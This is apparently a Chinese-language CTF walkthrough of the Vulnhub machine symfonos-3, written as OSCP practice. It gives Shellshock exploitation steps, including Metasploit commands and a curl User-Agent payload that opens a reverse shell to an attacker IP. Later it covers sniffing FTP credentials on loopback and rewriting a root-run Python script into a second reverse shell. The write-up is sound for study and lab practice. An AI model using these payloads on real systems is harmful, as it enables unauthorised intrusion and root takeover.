OSCP-Intermediate-symfonos_3
symfonos-3
来源:Vulnhub
难度:Intermediate
nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1
# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务
发现目标192.168.36.137
开启了80,22,21
端口,对应web,ssh,ftp服务
尝试阵队ftp服务的攻击没有效果,尝试网页目录爆破,发现/cgi-bin``````/gate``````index.html
等目录,递归扫描发现/gate/
目录后貌似没有东西,尝试爆破/cgi-bin
(403目录爆破:遇到403可以尝试在后面爆破,可能可以拼出200的目录),使用dirbuster(只有dirbuster才跑的出来,字典太大,需要多线程),直接在终端输入dirbuster
打开,并如下图配置:
反选Recursive取消递归,爆破出/cgi-bin/underworld
目录,在/cgi-bin-underworld/
后拼接任何路径均返回服务器执行uptime
的结果
命令执行+cgi-bin,有经验的师傅可能已经可以才出来是旧版本bash导致的shellshock了
Shellshock漏洞,又称bashdoor,bash4.3版本之前都存在这个漏洞,漏洞编号为CVE-2014-6271,各大安全平台均有详细分析说明
具体漏洞说明请看:https://blog.csdn.net/weixin_43864567/article/details/115723566
这里仅作简要说明:
Bash解释器在解释环境变量时,不仅仅是简单地替换变量的值,它还会对变量的内容进行解释,包括其中可能存在的特殊字符和命令。这就是为什么插入恶意函数之后,这些函数能够被执行的原因。
在Shellshock漏洞中,攻击者可以通过在环境变量中插入恶意代码,例如函数定义,然后触发Bash解释器执行这些代码。这是因为Bash解释器在解释环境变量时,并不仅仅是将变量的值替换为文本,而是会尝试解释其中的特殊字符和命令。
如果在环境变量中插入了以下内容:
env FUNC=’() { echo “66666!”; }; echo “shellshock” ‘
当Bash解释器遇到这个环境变量时,它会尝试将 FUNC 定义为一个函数。然后,如果有任何触发条件,比如执行后面的命令时,Bash会执行这个恶意函数,并输出语句。这样可以证明漏洞存在。
查看variables.c的源码:
可以看到,只要子进程在传递父进程的环境变量的时候,匹配到() {这四个字符,就会将其解释为函数
此后,倘若该环境变量字符串包含多个用分号;隔开的shell命令,parse_and_execute函数会执行每一条命令
因此,对于满足shellshock的情景,我们可以构造出一个特殊的字符串,使得字符串前面部分是空函数定义,后面是用分号;隔开的恶意指令
1.一个攻击者能够控制的环境变量,该变量以 () { 开始。
2.必须调用bash
3.系统存在bash漏洞
我们可以使用msf来利用这个漏洞获取一个meterpreter,具体命令如下,这里不赘述:
msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set rhosts 192.168.0.110
set targeturi /cgi-bin/underworld
exploit
也可以使用curl构造恶意请求,因为靶机版本的apache会将UA头放入环境变量中,所以我们要在UA头中构造恶意的环境变量:
curl -A "() { :; }; /bin/bash -i >& /dev/tcp/192.168.36.132/9999 0>&1" http://192.168.36.137/cgi-bin/underworld
在9999端口获得一个反弹shell,利用主机上的python获取到一个ttyshell,然后进行经典七步:
1.使用cat /etc/passwd
查看用户,发现hades,cerberus两个用户
2.查找SUID权限的可执行文件,没有发现可用于提权的可执行文件
3.查找全局用户可写文件,无
4.使用cat /etc/crontab
查找计划任务。主要是看看有没有高权限用户的计划任务脚本,并且当前用户拥有脚本的写权限。
5.使用sudo -l
查看当前用户可执行的sudo权限命令
6.查看内核版本,并searchsploit,也许可以直接内核提权,但这里是没有的
7.使用提权脚本,没有发现什么可利用点(着重查看可疑文件和开启的服务以及尝试内核漏洞)
注:建议先进行手动排查,再使用自动脚本
各种尝试均无果,回忆起该服务器开启了ftp服务,我们可以尝试使用pspy来监视其他用户开启的进程,比如这里的ftp服务
https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1
pspy是一种命令行工具,旨在无需根权限就可以窥探进程。 它使您可以查看其他用户执行的命令,cron作业等。 非常适合枚举CTF中的Linux系统。 很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。 放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。
使用命令查看进程相关信息:
./pspy64 -pf -c -i 1000
-p:启用将打印命令输出到标准输出(默认启用)
-f:启用将文件系统事件打印到stdout(默认情况下禁用)
-r:Inotify要监视的目录列表。 pspy将递归地监视所有子目录(默认情况下,监视/ usr,/ tmp,/ etc,/ home,/ var和/ opt)。
-d:Inotify要监视的目录列表。 pspy将仅监视这些目录,而不监视子目录(默认情况下为空)。
-i:两次procfs扫描之间的间隔(以毫秒为单位)。 pspy会定期扫描新进程,而不考虑Inotify事件,以防万一未收到某些事件。
-c:以不同的颜色打印命令。 文件系统事件不再着色,根据进程UID,命令具有不同的颜色。
–debug:打印详细的错误消息,否则将隐藏它们。
发现有一个ftpclinet.py正在运行,且UID=0,也就是说是脚本是以root权限运行,记住这里后面会用到。尝试访问ftpclient文件夹,发现权限不足。从脚本的命名来看,这个脚本的作用可能是向ftp服务发送数据。
此时的思路就比较明显了,因为ftp协议是明文传输,所以我们可以尝试嗅探,看看能不能嗅探到ftp密码,并且是靶机自己的程序给自己发送流量,恰巧靶机也装了tcpdump,我们随即对本地回环地址网卡进行嗅探抓包:
获取网络接口(Network Interfaces)的方式如下:
ifconfig
ip link show
netstat -i
nmcli device status
tcpdump -D
抓包命令:
tcpdump -i lo -w filename.pcap
稍等一会结束抓包,并用wireshark分析数据包,发现密码:
靶机还开放了ssh,尝试使用这个密码登录ftp和ssh(两个用户都试一下),发现可以登上hades的ssh,我们知道ftpclient.py这个脚本是以root权限运行的,而hades有修改的权限,所以我们可以尝试修改这个文件来获得一个root权限的反弹shell,将文件修改为以下内容:
import os
import sys
os.system("/bin/bash -i >& /dev/tcp/192.168.36.132/10001 0>&1")
攻击机监听10001端口,得到root反弹shell,提权成功